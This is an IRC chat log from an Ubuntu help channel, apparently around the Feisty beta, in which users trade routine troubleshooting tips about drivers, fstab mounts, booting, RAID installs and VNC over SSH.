[03:08] <billy> eternaljoy: plus you were wearing out your hardware doing that.  not cool.
[03:08] <lufis> r00tintheb0x: back?
[03:08] <blameless> sarixe: that would allow you to ssh to the machine, and tinker with the config files
[03:08] <eternaljoy> billy: yeah. and wghats your prob today?
[03:08] <spiderworm> r00tintheb0x: are you there yet? are you there yet? are you there yet?
[03:08] <r00tintheb0x> yeah lufis whats up
[03:08] <r00tintheb0x> lol spiderworm
[03:08] <eternaljoy> billy: booting ubuntu wears out my hardware?  not much though, right?
[03:08] <billy> GNOME keeps freezing on me.  Well, maybe not Gnome.  The clock keeps running, but neither the mouse nor the keyboard function after a moment.
[03:09] <billy> Keep having to reboot.
[03:09] <spiderworm> r00tintheb0x: did you have an idea for my problem?
[03:09] <lufis> r00tintheb0x: that didn't help :(
[03:09] <spiderworm> r00tintheb0x: yes, i did that... then i installed linux-restricted-modules to get wifi working, and now X no bootie
[03:09] <theherbalizer> r00tintheb0x: i see nothing in there like that... would it being a hub matter at all?
[03:09] <r00tintheb0x> eternaljoy, it wears it, but it'd take 9,999,999,999 rebooted to destroy your hardware
[03:09] <r00tintheb0x> spiderworm, im sorry what was it again?
[03:09] <spiderworm> anyone... is there a way to install linux-restricted-modules without the nvidia modules?!
[03:09] <billy> eternaljoy: well, booting over and over again into wears it out faster, no matter what OS you're running.
[03:09] <r00tintheb0x> theherbalizer, a network hub? USB hub?
[03:09] <eternaljoy> r00tintheb0x: hhe ok :)
[03:09] <spiderworm> r00tintheb0x: i want to install the wireless drivers without overwriting my own nvidia driver install
[03:09] <r00tintheb0x> lufis, did you paste your FSTAB in http://pastebin.ca?
[03:10] <theherbalizer> r00tintheb0x: USB hub build into my monitor
[03:10] <r00tintheb0x> spiderworm, what kind of wireless card do you have?
[03:10] <lufis> r00tintheb0x: yeah baby i did. pasted it all for you. don't you see what i do for you??
[03:10] <r00tintheb0x> lol
[03:10] <spiderworm> r00tintheb0x: intel ipw1495 or something like that
[03:10] <r00tintheb0x> you're a weird one.
[03:10] <lufis> r00tintheb0x: sorry, i'm feeling a bit silly tonight :P
[03:10] <chowmeined> what tool can I use to manage the startup daemons? The services-admin app doesn't show them all, neither does rcconf...
[03:10] <r00tintheb0x> spiderworm, go to a terminal and type
[03:10] <r00tintheb0x> lspci <enter>
[03:11] <r00tintheb0x> its okay lufis ... are you a female?
[03:11] <jrib> chowmeined: man update-rc.d   does that help?
[03:11] <lufis> r00tintheb0x: guess my gender and win a prize!!
[03:11] <theherbalizer> v&
[03:11] <theherbalizer> ohmai
[03:11] <spiderworm> r00tintheb0x: i can get the name of the card i have, but is that going to make a difference?  can i install that module seperately?
[03:11] <r00tintheb0x> theherbalizer you think your USB hub that's built into your monitor is stopping it from booting?
[03:11] <chowmeined> i could use that one.. but i dont think my target audience will be able to
[03:11] <r00tintheb0x> spiderworm, yes... get it for me.
[03:11] <r00tintheb0x> lufis, female?
[03:11] <lufis> r00tintheb0x: nope. but you still get a prize...
[03:11] <r00tintheb0x> lol
[03:11] <r00tintheb0x> swank!
[03:11] <jrib> chowmeined: which services aren't showing up in those applications you mentioned?
[03:12] <spiderworm> r00tintheb0x: oh sorry, its the 3945abg card :)
[03:12] <r00tintheb0x> lufis, are you a Hermaphrodite?
[03:12] <r00tintheb0x> :P
[03:12] <blameless> doesn't the 3945 work out of the box?
[03:12] <spiderworm> r00tintheb0x: it uses the ipw1495 module i think...
[03:12] <lufis> r00tintheb0x: no... i'm male
[03:12] <Jellocube> Somewhat odd question: Is a disk scan every 30 mountings normal?
[03:12] <r00tintheb0x> spiderworm, http://ubuntuforums.org/showthread.php?t=169593
[03:12] <r00tintheb0x> cool lufis
[03:12] <jrib> Jellocube: yes
[03:12] <theherbalizer> r00tintheb0x: well, when it's plugged in, it doesn't boot, when i unplug it, it boots fine.
[03:12] <r00tintheb0x> spiderworm, do you have a terminal open?
[03:12] <lufis> r00tintheb0x: yah, i bet you like that.
[03:12] <spiderworm> r00tintheb0x: yes
[03:12] <blameless> Jellocube: you can usually adjust that option
[03:12] <Jellocube> Jrib: Grazie; I figured as such, but it hadn't happened with 6.06.
[03:12] <r00tintheb0x> theherbalizer, what does it get stuck @ when it is plugged in?
[03:12] <r00tintheb0x> when you're booting
[03:13] <r00tintheb0x> can you see any errors or what not.
[03:13] <ubu-girl> hi everyone
[03:13] <r00tintheb0x> theherbalizer, what happens if you boot, then plug it in
[03:13] <r00tintheb0x> ?
[03:13] <chowmeined> jrib: sshd
[03:13] <greig__> when booting from cd how long should it normally take, and do i choose option 1, start install ubuntu?
[03:13] <r00tintheb0x> hi ubu-girl !
[03:13] <r00tintheb0x> :D
[03:13] <theherbalizer> r00tintheb0x: never tried that
[03:13] <lufis> r00tintheb0x: there's a girl for you :(
[03:13] <r00tintheb0x> try that theherbalizer
[03:13] <Jellocube> Blameless: Honestly, it doesn't bother me much; I just squirm a bit when something interrupts the boot process.
[03:13] <ubu-girl> hi r00tintheb0x !
[03:13] <theherbalizer> r00tintheb0x: yeah, lemmie give it a shot
[03:13] <blameless> Jellocube: understandable
[03:13] <r00tintheb0x> lol lufis i already have a significant other, a female significant other :P
[03:13] <r00tintheb0x> ok theherbalizer
[03:13] <ubu-girl> hoping someone can help me... having a problem with feisty & wireless
[03:14] <Jellocube> Last time something did that, it was a clock skew, and was a pain in the ass to fix.
[03:14] <spiderworm> r00tintheb0x: i dont think that url helps me
[03:14] <lufis> r00tintheb0x: ah, understandable. i do not have a male significant other
[03:14] <r00tintheb0x> sure thing ubu-girl what seems to be the problem?
[03:14] <ubu-girl> it works fine when i am in the same room as the router, but i lose connection if i leave the room!
[03:14] <r00tintheb0x> that too is okay lufis  :)
[03:14] <greig__> bruenig : are u still here
[03:14] <jrib> chowmeined: that should be showing up iirc.  What version of Ubuntu?  Here I have it showing up in the gui "services" application as "Remote shell server"
[03:14] <ardchoille> ubu-girl: You need to /join #ubuntu+1
[03:14] <gnu-linux> does anyone know how to change irssi themes?
[03:14] <theherbalizer> r00tintheb0x: hmm, seems to work fine
[03:14] <ubu-girl> the signal is weak or something ... it shows as 40% but it can't get an IP
[03:14] <lufis> r00tintheb0x: :)
[03:14] <ardchoille> gnu-linux: /set theme name-of-theme
[03:14] <r00tintheb0x> theherbalizer, what is the functionality of the USB hub on your monitor
[03:14] <jrib> gnu-linux: http://irssi.org/themes
[03:14] <r00tintheb0x> for keyboard/mouse whatnot?
[03:14] <ubu-girl> ardchoille: thanks i will try over there
[03:14] <lufis> r00tintheb0x: so have you got any more ideas?
[03:15] <r00tintheb0x> lufis, paste me your FSTAB
[03:15] <r00tintheb0x> i'll fix it
[03:15] <theherbalizer> r00tintheb0x: afaik it's just a one-to-two USB hub
[03:15] <r00tintheb0x> http://pastebin.ca
[03:15] <lufis> r00tintheb0x: fstab is LITERALLY stabbing me like hard dude. so comlicated.
[03:15] <chowmeined> jrib: 6.10, I mean its not a huge deal if it doesn't work I can handle update-rc.d
[03:15] <lufis> r00tintheb0x: i did, didn't i?
[03:15] <r00tintheb0x> lufis i cleared the screen
[03:15] <r00tintheb0x> do it again
[03:15] <lufis> r00tintheb0x: oh of course! sheesh
[03:15] <r00tintheb0x> theherbalizer, try pluggin a mouse into the HUB now
[03:15] <lufis> r00tintheb0x:  just a sec
[03:15] <r00tintheb0x> see if it works.
[03:16] <theherbalizer> r00tintheb0x: okay
[03:16] <lufis> r00tintheb0x: here http://paste.ubuntu-nl.org/11788/
[03:16] <r00tintheb0x> ardchoille, is ubu-girl using fiesty?
[03:16] <ardchoille> YEs
[03:16] <ubu-girl> r00tintheb0x: yes
[03:16] <r00tintheb0x> ok ardchoille
[03:16] <r00tintheb0x> ubu-girl, he/she's right, you need #ubuntu+1
[03:16] <theherbalizer> r00tintheb0x: works fine. it auto-mounted my MuVo, too
[03:16] <theherbalizer> didn't need pmount
[03:17] <Romexios> How to run files in BACKGROUND as administrator? Any idea? I want to run a eggdrop.. works only if i type /.eggdrop -mnt file.conf (then it runs in console) but if i type, as i should type it: /.eggdrop fiile.conf (it says that it is running, how ever the eggdrop does not connect)
[03:17] <ubu-girl> ok thanks... cya's
[03:17] <r00tintheb0x> lufis, where in there do you see what i asked you to put?
[03:17] <r00tintheb0x> lol
[03:17] <binskipy2u> checking out the new fiesty beta
[03:17] <greig__> bruenig : for some reason i cannot boot to the live cd, am i doing something wrong, it seems simple enough
[03:17] <binskipy2u> it looks really nice, lots of cutting edge versions of alot of stuff
[03:17] <r00tintheb0x> theherbalizer, i'd have to see the errors as it boots, does the screen hang or do you get output?
[03:17] <Jellocube> !sda > Jellocube
[03:17] <lufis> r00tintheb0x: oh gurl... i apologize. un moment, s'il vous plait
[03:17] <jrib> chowmeined: there is also "bum", you could try that
[03:17] <swhalen> !vlc
[03:17] <ubotu> Audio (Ogg, MP3...) players: Banshee, Beep Media Player, Quod Libet, Rhythmbox, XMMS (GTK/Gnome based) and Amarok, JuK (Qt/KDE based).  Video players: Totem, Xine, MPlayer, VLC, Kaffeine  -  See also !codecs
[03:17] <swhalen> !codecs
[03:17] <ubotu> For multimedia issues, this page has useful information: https://help.ubuntu.com/community/RestrictedFormats - See also http://help.ubuntu.com/ubuntu/desktopguide/C/common-tasks-chap.html - But please use free formats if you can: https://help.ubuntu.com/community/FreeFormats
[03:17] <r00tintheb0x> eeh, dont make me ignore you lufis, im trying to help you
[03:18] <r00tintheb0x> i will NOT be taunted though
[03:18] <Jellocube> Why is my primary hard disk known as SDA?
[03:18] <lufis> r00tintheb0x: rofl. i'm kidding! im sorry
[03:18] <theherbalizer> r00tintheb0x: it just hangs. if i go to the text boot, it hangs at something about assigning something to a new something
[03:18] <r00tintheb0x> :)
[03:18] <lufis> r00tintheb0x: Ok, just a sec.
[03:18] <Jellocube> Everyone else seems to have their as HDA.
[03:18] <ubuntu_> Guys.
[03:18] <theherbalizer> r00tintheb0x: sorry for the crappy info, i keep this box on for weeks at a time
[03:18] <ubuntu_> Im about to throw my PC out the window.
[03:18] <r00tintheb0x> theherbalizer, if you get me that error i may be able to fix it, alternatively... you can try a different USB port.
[03:18] <binskipy2u> im using ubuntu ultimate now, ver 1.3..
[03:18] <greig__> can someone help with with booting from live cd?
[03:18] <ardchoille> Jellocube: Is it SATA ?
[03:18] <ubuntu_> I have 2 HD's In sata.
[03:18] <theherbalizer> r00tintheb0x: i've tried them all, same thing
[03:18] <r00tintheb0x> Im guessing theherbalizer its trying to assign it an IRQ it doesn't like.
[03:18] <binskipy2u> i'm just waiting till fiesty is in the next "ultimate"
[03:19] <lufis> r00tintheb0x: that last bit was french for "one moment, please"... just so you don't think i was insulting you or anything
[03:19] <r00tintheb0x> ok theherbalizer get me that exact error, and i can probably help
[03:19] <r00tintheb0x> ok lufis lets keep it real ;)
[03:19] <theherbalizer> r00tintheb0x: yeah, i think it's the motherboard... not the first problem i've run into with it.
[03:19] <Jellocube> ardchoille: I couldn't tell you; it's inside the laptop.  I'll assume it's SATA because it's sda, though.
[03:19] <lufis> r00tintheb0x: oh i keeps it real ;)
[03:19] <r00tintheb0x> theherbalizer, i think its an IRQ
[03:19] <ubuntu_> And $^(#*@&$^@ ubuntu is just saying error 21/22 or hanging on that DAMN "grub loading" forever.
[03:19] <Jellocube> Would that be a good assumption?
[03:19] <r00tintheb0x> lol lufis
[03:19] <spiderworm> anyone... is there a way to install linux-restricted-modules without the nvidia modules?!
[03:19] <theherbalizer> r00tintheb0x: any safe irq to assign it to in the bios?
[03:19] <r00tintheb0x> spiderworm, ...
[03:19] <swhalen> Hello....does anyone know why mplayer wont play anything with an mp* audio codec?
[03:19] <ardchoille> Jellocube: Likely
[03:19] <r00tintheb0x> lol
[03:19] <ubuntu_> I have SDA too!
[03:19] <spiderworm> problem: want to have own nvidia driver install using the latest drivers from the nvidia site, but also have the linux-restricted-modules package installed so that wireless card has drivers.... solution: ___________________________________________________________________________________ (please fill in the blank)
[03:19] <spiderworm> r00tintheb0x: yes?
[03:19] <ubuntu_> Someone here has the same problem?
[03:19] <mon^rch> anyone know why a symlink does not appear in my ftp users dir? I swear to god there is a symlink there
[03:19] <ardchoille> spiderworm: Please stop that
[03:19] <Jellocube> ardchoille: I should've asked Google first.
[03:19] <r00tintheb0x> theherbalizer, something way off from any other IRQ's
[03:20] <jrib> spiderworm: please don't use blanks in your questions
[03:20] <r00tintheb0x> the biggest jump you can find
[03:20] <r00tintheb0x> i'll tell you what theherbalizer ....
[03:20] <spiderworm> someone: please answer my question
[03:20] <progek> I just got lxdoom and it's working with original DOOM wads just fine however no sound :( anyone know what I can do? I tried sudo killall esd but that did not help
[03:20] <r00tintheb0x> spiderworm, hold one one sec
[03:20] <theherbalizer> r00tintheb0x: alright.
[03:20] <lufis> r00tintheb0x: Ok, here you go http://paste.ubuntu-nl.org/11796/
[03:20] <r00tintheb0x> i'll tell you what theherbalizer .... get me that error message and we'll go from there. no need to be rearranging IRQ's if thats not the problem.
[03:20] <Romexios> How to give my self PERMISSION to run things in the BACKGROUND?
[03:20] <KnightEdge> help, I want to install chipset drivers un ubuntu edgy
[03:20] <theherbalizer> r00tintheb0x: good idea. gimmie a minute or so and i'll reboot, i have a few projects i need to save.
[03:20] <jrib> Romexios: you can do that by default.  What are you trying to do?
[03:21] <r00tintheb0x> lufis, also paste the results of "df -h" and "fdisk -l"
[03:21] <r00tintheb0x> okay theherbalizer
[03:21] <greig__> can someone help with booting from live cd Please.
[03:21] <r00tintheb0x> spiderworm, http://ipw3945.sourceforge.net/
[03:21] <r00tintheb0x> check that out
[03:21] <progek> greig, whats the problem?
[03:21] <Romexios> jrib: I am trying to run an Eggdrop in the background.. It tells me it connects, however it doesnt. When i run it in forground (-mnt) it works perfectly
[03:21] <lufis> r00tintheb0x: Your wish is my command... get it? my COMMAND? rofl i crack myselfup
[03:21] <r00tintheb0x> sure greig__ whats the problem.
[03:21] <spiderworm> r00tintheb0x: you're suggesting i install the wifi driver from source?
[03:21] <r00tintheb0x> lol spot on lufis
[03:21] <spiderworm> r00tintheb0x: hmm i suppose i could give that a go
[03:21] <lufis> :)
[03:21] <r00tintheb0x> spiderworm, you could.
[03:22] <ubuntu_> Im running Ubuntu live, ive spent 6 hours now trying to get this system to operate, but apparently this OS doesnt support 2 HD's sata (raided).
[03:22] <r00tintheb0x> why do you not want to just install the restricted modules package.
[03:22] <r00tintheb0x> or decompress the .deb and yank what you want out spiderworm
[03:22] <r00tintheb0x> ?
[03:22] <greig__> r00tintheb0x : thanks, well 1st how do u do it, choose option 1 to start install ubunut?
[03:22] <progek> greig yes
[03:22] <gnu-linux> can someone explain me how can i switch irssi theme?
[03:22] <spiderworm> r00tintheb0x: ah yes, that's the sort of solution i was looking for, but im not sure how to do that
[03:22] <djm> which xorg.conf does x windows use in feisty fawn?
[03:22] <root> blameless: now i'm on ssh, but i can't figure out how i'd initiate a new vnc server from here.
[03:22] <r00tintheb0x> greig__, did you download the desktop version? Im thinking not since you have that option.
[03:22] <ardchoille> gnu-linux: I gave you the command
[03:22] <spiderworm> r00tintheb0x: decompress the .deb and yank what i want out... how to do that?
[03:22] <r00tintheb0x> spiderworm, use the program
[03:22] <r00tintheb0x> dpkg
[03:23] <root> blameless: brb, this is sarixe, but i stupidly ran bitchx as root...
[03:23] <r00tintheb0x> its gonna be more than you want to deal with though
[03:23] <greig__> r00tintheb0x : well i installed it from cd, i just need to go back in by cd to sort partitions out
[03:23] <gnu-linux> ardchoille yes but i don't have any theme i need someone how can i get the theme
[03:23] <blameless> root: you probably don't want to irc as root.  that said, usually after apt-get install tightvncserver, there would be a vncserver script
[03:23] <spiderworm> r00tintheb0x: well ive been using linux for 5 years but i've never extracted files out of a .deb manually and put them in the right place
[03:23] <sarixe> sorry about that
[03:23] <blameless> sarixe: vncserver is usually the command
[03:23] <spiderworm> r00tintheb0x: it might not be completely outside of my range of capability
[03:23] <r00tintheb0x> spiderworm, there's gotta be a better way.
[03:23] <ardchoille> gnu-linux: http://irssi.org/themes
[03:24] <colbert> I have modified my fstab to mount 2 network shares to /media/xxx dirs successfully, I can access them just fine and all, but sometimes they don't show up on the desktop, anyone know why ???
[03:24] <r00tintheb0x> spiderworm, why is it you dont want to just install the restricted modules package?
[03:24] <progek> can anyone help me with my game sound problem? No sound when using lxdoom on my wads
[03:24] <greig__> r00tintheb0x : my issue is its taking ages to load by cd, ichoose option one, its has teh ubuntu "loading" screen then it goes blank
[03:24] <sarixe> blameless: but will it actually work from an ssh client?
[03:24] <spiderworm> r00tintheb0x: its really that bad?  maybe i will go with source then
[03:24] <blameless> sarixe: one catch with vncserver in linux is that it doesn't share the same desktop when you're logged int
[03:24] <blameless> sarixe: it'll create a new desktop
[03:24] <spiderworm> r00tintheb0x: because i need to use more current nvidia drivers than those packaged in there
[03:24] <r00tintheb0x> greig__, try going into bios and choosing "plug and play OS = no"
[03:24] <blameless> sarixe: sure, it'll start the daemon in the background, just like starting any other server
[03:24] <jrib> Romexios: I've never used eggdrop, but someone else here probably has.  It does seem like and eggdrop-specific issue, not so much one about running programs in the background
[03:24] <sarixe> blameless: vnc will create another desktop, similar to the pseudo-tty that ssh made?
[03:24] <NessTizma> Phew. Somehow I figured it out...
[03:25] <greig__> r00tintheb0x ok anything else whilst im rebooting
[03:25] <ubuntu_> When any ubuntu sage here gets the chance please halp. Ran out of ideas and patience long ago :(
[03:25] <blameless> sarixe: aye.  vino for gnome and krfb (or something) will share the current logged in users desktop under gnome/kde
[03:25] <NessTizma> I said to disable PCI video graphics... So I guess it defaults to the integrated card, and it'll boot into X now.
[03:25] <linuxgx> i need a Dock for Gnome
[03:25] <jrib> Romexios: my only suggestion would be to see if you can make it produce some extra debug output and add that flag
[03:25] <r00tintheb0x> greig__, what?
[03:25] <lufis> r00tintheb0x: Here you go http://paste.ubuntu-nl.org/11797/
[03:25] <NessTizma> Guess I can change xorg.conf then re-enable my second PCI card. :)
[03:25] <r00tintheb0x> I dont understand your issue greig__
[03:25] <sarixe> blameless: but a more advanced server will be able to make its own desktop?
[03:25] <NessTizma> BTW, has support for wireless adapters improved since Dapper?
[03:25] <NessTizma> I had a bit of trouble getting my USB wi-fi adapter working in Dapper.
[03:26] <blameless> sarixe: well, they work in similar ways.  tightvnc starts up its X server to run vnc on
[03:26] <progek> can anyone help me with my sound problem? using lxdoom, no sound
[03:26] <linuxgx> i need a Dock for Gnome, any one have any ideas?
[03:26] <swhalen> Hello....does anyone know why mplayer wont play anything with an mp* audio codec?
[03:26] <sarixe> blameless: then let me try that...
[03:26] <sarixe> brb
[03:26] <progek> linuxgx kiba-dock if you have Beryl
[03:26] <KalleDK> I often get libGL warning: 3D driver claims to not support visual 0x4b... Anything I can do to help this
[03:26] <greig__> r00tintheb0x : my issue is that booting from disc give me the options 1-5? i choose 1 to start/install ubunutu and its starts to boot then goes to a blank screen after a while
[03:26] <r00tintheb0x> ohhh ok sorry greig__
[03:26] <lufis> r00tintheb0x: fdisk -l doesn't produce any output
[03:26] <r00tintheb0x> yeah try that in bios
[03:27] <greig__> r00tintheb0x ok thanks wish me luck
[03:27] <Athensman> can anyone here help me install xubuntu
[03:27] <r00tintheb0x> Good luck :)
[03:27] <r00tintheb0x> lufis, lol
[03:27] <swhalen> KalleDK: Do you have an ati card?
[03:27] <r00tintheb0x> whats up with the sda3 and sda4 stuff
[03:27] <CyberCod> I need help... my screen resolution is stuck on 640x480 and there are no more options in "Screen Resolution" and I've already looked at xorg.conf and it looks right
[03:27] <gnu-linux> ardchoille ok  got it
[03:27] <r00tintheb0x> do this lufis
[03:27] <gnu-linux> ardchoille thankx
[03:27] <KalleDK> No its Intel swhalen
[03:27] <r00tintheb0x> umount /dev/sda3
[03:27] <r00tintheb0x> twice
[03:27] <KalleDK> Acer Travelmate 2350
[03:27] <r00tintheb0x> and
[03:27] <r00tintheb0x> actually
[03:27] <r00tintheb0x> do this
[03:28] <sax> http://paste.ubuntu-nl.org/11798/ I'm trying to make Cinelerra work... any comments?  It configured nicely, but won't make.
[03:28] <r00tintheb0x> "umount -a && mount -a"
[03:28] <r00tintheb0x> paste that exact thing
[03:28] <lufis> r00tintheb0x: ok
[03:28] <ardchoille> gnu-linux: You're welcome :)
[03:28] <Athensman> can anyone here help me install xubuntu
[03:28] <r00tintheb0x> lufis, then when you're done... repaste the results of
[03:28] <r00tintheb0x> df -h
[03:28] <epi> Imagine the world was about to explode if a certain person couldnt get his raided SATA hard-disks to allow ubuntu to install.
[03:28] <lufis> r00tintheb0x: Gotcha
[03:28] <SeveredCross> Athensman: Try #kubuntu
[03:28] <colbert> I have modified my fstab to mount 2 network shares to /media/xxx dirs successfully, I can access them just fine and all, but sometimes they don't show up on the desktop, anyone know why ???
[03:28] <swhalen> KalleDK:sorry, cant help you there. i had the same warning until i installed other drivers for my card
[03:28] <jeffreyb> does feisty beta have OOo 2.1?
[03:28] <r00tintheb0x> :)
[03:28] <KalleDK> ok
[03:29] <Romexios> !pastebin
[03:29] <ubotu> pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (be sure to give the URL of your paste - see also the #ubuntu channel topic)
[03:29] <gnu-linux> ardchoille 1 more thing
[03:29] <ksaper> which better xubuntu or gnome ubuntu ???
[03:29] <epi> sda doesnt work on ubunbu
[03:29] <gnu-linux> ardchoille  how can i get out from irssi without close the shell
[03:29] <gnu-linux> ?
[03:29] <epi> No RMraid
[03:29] <Romexios> What command to i type to see my ip adress?
[03:29] <[BTF] Chm0d> hehe colbert
[03:29] <lufis> r00tintheb0x: So... gotta ask... what's a guy like you doin' in a place like this on a friday night?
[03:29] <linuxgx> how do i install Beryl?
[03:30] <jrib> !beryl > linuxgx    (beryl, see the private message from ubotu)
[03:30] <jrib> oops
[03:30] <colbert> [BTF] Chm0d: what up :D
[03:30] <progek> do you have ATI or Nvidia?
[03:30] <ardchoille> gnu-linux: You should look into using irss with screen. Then you can detatch the screen irssi is in and even log out and back in without losing the irssi connection.
[03:30] <[BTF] Chm0d> :)
[03:30] <progek> there are howtos on ubuntus website
[03:30] <Athensman> can anyone here help me install xubuntu
[03:30] <r00tintheb0x> i like helping people that WANT to use linux
[03:30] <ksaper> i am going to buy another vga card so beryl work
[03:30] <ardchoille> gnu-linux: Otherwise I don't know.
[03:30] <daobhaidh> prob: x-server won't start after reboot until i rmmod nvidia && modprobe nvidia && gdm restart  ----- any ideas?
[03:30] <r00tintheb0x> and im waiting for a friend to call me about a party
[03:30] <r00tintheb0x> :)
[03:30] <lufis> r00tintheb0x: Oh, hm
[03:30] <epi> r00t...
[03:30] <TheSyntra> Can someone help me? I cant find the minimum specs for Ubuntu
[03:31] <epi>  /beg
[03:31] <r00tintheb0x> :)
[03:31] <progek> linuxgx, look for the howto on ubuntus web forum. They have threads for ATI and Nvidia cards
[03:31] <epi> Ive spent countless hours trying to configure this.
[03:31] <epi> It simply wont install, im running off a live disc.
[03:31] <[BTF] Chm0d> Linux_Junkie, http://ubuntuguide.org
[03:31] <epi> From what I can gather...its to do with me having 2 sata HD's in raid 1.
[03:31] <ksaper> epi ??? what is that ??
[03:31] <progek> linuxgx, after installing Beryl (when you have your card drivers installed) istall kiba-dock
[03:31] <gnu-linux> ardchoille  ok thankx thats all
[03:31] <Athensman> xubuntu will not install it goes to all black screen
[03:31] <lufis> r00tintheb0x: Oh sheesh. I get this now when i try to mount http://paste.ubuntu-nl.org/11799/
[03:31] <epi> I heard you mention sda1/2 etc to that other dude.
[03:32] <epi> Most people and the guide ONLY refer to hdr or something
[03:32] <r00tintheb0x> lufis, did you do "umount -a"
[03:32] <r00tintheb0x> ?
[03:32] <five_laptop> is USP in a repository anywhere?
[03:32] <lufis> r00tintheb0x: Yep
[03:32] <epi> Is there anyway to get this DAMN thing to work? I dont even have a bloody XP disc to run home to
[03:32] <ksaper> linux is bad way ??? not like windows every thing gose smoooth without truble
[03:33] <r00tintheb0x> lufis, ignore that, we can fix that in a minute
[03:33] <lufis> r00tintheb0x: Okay
[03:33] <r00tintheb0x> lufis, do a "mount -a
[03:33] <r00tintheb0x> "
[03:33] <epi> Im not having much fun either ksaper :|
[03:33] <five_laptop> epi, what problem are you having?
[03:33] <r00tintheb0x> and then paste me the results of "df -h"
[03:33] <lufis> ok
[03:33] <epi> It wont install, Im running 2 sata'ed HDS (raid 1).
[03:33] <NessTizma> Is Beryl/XGL/whatever installed on 6.10 by default?
[03:33] <Athensman> xubuntu will not install it goes to all black screen
[03:33] <cables> NessTizma, nope
[03:33] <TheSyntra> Can someone help me? I cant find the minimum specs for Ubuntu
[03:33] <epi> When it gets to startup...it hangs...
[03:33] <Whatsisname> no
[03:34] <epi> or produces an error 22/21
[03:34] <cables> !specs
[03:34] <ubotu> Sorry, I don't know anything about specs - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[03:34] <NessTizma> cables, can it be? Or are there troubles?
[03:34] <theherbalizer> r00tintheb0x: i have the error, gimme a second to type it out
[03:34] <Whatsisname> awww hell yeah
[03:34] <NessTizma> I tried about a year ago, but it was still prettynew.
[03:34] <cables> NessTizma, it can be, but it's not straightforward.
[03:34] <NessTizma> Okay.
[03:34] <five_laptop> epi, out of my knowledge... haven't messed with raid
[03:34] <NessTizma> Cool.
[03:34] <Whatsisname> whoops wrong channel lol
[03:34] <NessTizma> Thanks.
[03:34] <r00tintheb0x> okay theherbalizer
[03:34] <epi> Nobody has apparently.
[03:34] <cables> NessTizma, it is on Feisty, though, which is coming out next month
[03:34] <epi> We dont exist according to ubuntu.
[03:34] <lufis> r00tintheb0x: How long have you been into linux?
[03:35] <grantgm> NessTizma: the beta for Feisty was released today, so you could give that a go
[03:35] <r00tintheb0x> lufis, about 10 years hard core.
[03:35] <epi> "no rmraid support lulz gtfo"
[03:35] <r00tintheb0x> about 13 total
[03:35] <grantgm> it has it as an easy, one-click install
[03:35] <lufis> r00tintheb0x: whoa... I've only been using it for about a year
[03:35] <epi> That its not even mentioned :| I took it for granted theyd support something as old as raid architecture.
[03:35] <r00tintheb0x> yeah, you'll get better... and like it more and more.
[03:35] <spiderworm> r00tintheb0x: actually... take a look at the instructions for installing nvidia drivers here: http://ubuntuforums.org/showthread.php?t=263851 .... do you think that will work without uninstalling linux-restricted-modules?
[03:35] <jmhodges> anyone know why, in Feisty, mysqld_safe is consuming easily half of my proc?
[03:35] <lufis> r00tintheb0x: I already do :)threw my xp disk into the trash
[03:36] <cables> jmhodges, #ubuntu+1 for feisty support
[03:36] <Romexios> !kill
[03:36] <ubotu> The linux terminal or command-line interface is very powerful. Open a terminal via Applications -> Accessories -> Terminal (Gnome) or K-menu -> System -> Konsole (KDE).  Manuals: https://help.ubuntu.com/community/BasicCommands
[03:36] <jmhodges> ah, i'm sorry, i didnt see that
[03:36] <jmhodges> thanks cables
[03:36] <gop> I got one question
[03:36] <r00tintheb0x> spiderworm, remind me again why you dont want to just install the restricted modules package?
[03:36] <clem_> gop: shoot
[03:36] <gop> in prior version of ubuntu I was able to mirror tvout
[03:36] <ksaper> ------------- i need to run linux software on windows how to do it ???
[03:36] <cables> !ask | gop
[03:36] <ubotu> gop: Don't ask to ask a question. Just ask your question :)
[03:36] <r00tintheb0x> cool lufis :)
[03:36] <InnerFIRE> where can i find a faster server to get feisty fawn
[03:36] <lufis> ;)
[03:36] <gop> I got radeon 9500 ati card but no tv out in edgy
[03:36] <cables> !cygwin | ksaper
[03:37] <spiderworm> r00tintheb0x: nm
[03:37] <ubotu> Sorry, I don't know anything about cygwin - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[03:37] <gop> !tvout
[03:37] <ubotu> For help with enabling the TV-Out, see https://help.ubuntu.com/community/NvidiaTVOutNewbieEdition (Nvidia cards) or http://wiki.cchtml.com/index.php/Tvout (ATI cards, *untested*)
[03:37] <ksaper> can it run kde application ????
[03:37] <r00tintheb0x> spiderworm, i think you should just follow the instructions
[03:37] <lufis> r00tintheb0x: Are you registered on freenode? mind if i pm yoiu?
[03:37] <cables> ksaper, Cygwin might do it for you... but you could always use VirtualBox and run Linux in it (both Linux and VBox are free)
[03:37] <Goose> I was wondering if there was a plug in for ubuntu 6.06 i can download and it will allow me to run some Windows programs?
[03:37] <cables> ksaper, not really sure...
[03:37] <r00tintheb0x> Yes i am regged, and you sure can. I dont mind.
[03:37] <Romexios> How to see a list of running softwares from CONSOLE so i know what to kill? and how do i kill something running?
[03:37] <cables> Goose, yep, but not so well
[03:37] <cables> !wine | Goose
[03:37] <ubotu> Goose: wine is a compatibility layer for running Windows programs on GNU/Linux. See https://help.ubuntu.com/community/Wine for more information.
[03:37] <Goose> ?
[03:37] <sarixe> blameless still here?
[03:37] <cables> Goose, a lot of things don't work
[03:37] <gop> Goose,  wine
[03:37] <Goose> lol
[03:37] <bruenig> Romano2K, ps -A
[03:37] <sax> how do I install opengl 2.0
[03:37] <Goose> well
[03:38] <sarixe> !vnc
[03:38] <ubotu> VNC is a protocol for remote desktop. https://help.ubuntu.com/community/VNCOverSSH describes how to use it securely.  It works best over fast connections, otherwise look at !FreeNX
[03:38] <clem_> ksaper: are you thinking of an application in particular?
[03:38] <theherbalizer> r00tintheb0x:  ohci_hdc 0000:00:0b.0: new USB bus registered, assigned bus number 1
[03:38] <Goose> i heard something like Cedega?
[03:38] <gop> !beryl
[03:38] <cables> Goose, you can use VirtualBox (a free virtual machine) and run WIndows inside it if you have a copy
[03:38] <ubotu> Beryl is a window manager that takes advantage of an OpenGL accelerated X environment. See http://forum.beryl-project.org/ - Help in #ubuntu-effects
[03:38] <epi> Does anyone know ANYTHING about installing ubuntu onto Raid 1 (2 SATA) hds?
[03:38] <Goose> Cegeda?
[03:38] <sarixe> oo, vnc over ssh
[03:38] <rpc> !rdp
[03:38] <bruenig> !raid
[03:38] <rpc> :)
[03:38] <cables> Goose, Cedega's good for games
